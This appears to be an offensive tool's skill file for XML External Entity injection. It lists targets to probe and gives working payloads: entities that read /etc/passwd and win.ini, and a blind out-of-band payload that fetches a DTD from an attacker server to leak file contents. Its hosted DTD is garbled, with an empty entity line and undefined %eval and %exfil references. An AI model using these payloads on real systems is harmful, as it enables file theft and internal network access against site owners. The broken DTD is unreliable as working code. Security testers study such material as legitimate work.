attack-xxe

name	attack-xxe
description	XML External Entity injection — file read, SSRF, data exfiltration via out-of-band XML parsing
category	web-application
version	1.0
author	cyberstrike-official
tags	["xxe","xml","injection","web","attack"]
tech_stack	["web","java","php","dotnet"]
cwe_ids	["CWE-611","CWE-827"]
chains_with	["attack-ssrf"]
prerequisites	[]
severity_boost	{"attack-ssrf":"XXE + SSRF = internal network access via XML parser"}

XML External Entity (XXE) Injection

Objective

Exploit XML parsing vulnerabilities to read local files, perform SSRF, or exfiltrate data via out-of-band channels.

Testing Methodology

Phase 1: Identify XML Processing

Look for endpoints accepting:

• Content-Type: application/xml or text/xml
• SOAP endpoints (.asmx, .wsdl)
• File upload accepting SVG, DOCX, XLSX
• RSS/Atom feed processing
• SAML authentication

Phase 2: In-Band XXE (File Read)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>

Windows targets:

<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">

Phase 3: Blind XXE (Out-of-Band)

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://ATTACKER_SERVER/xxe.dtd">
  %xxe;
]>
<root>test</root>

Hosted DTD (xxe.dtd):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY %  >
%eval;
%exfil;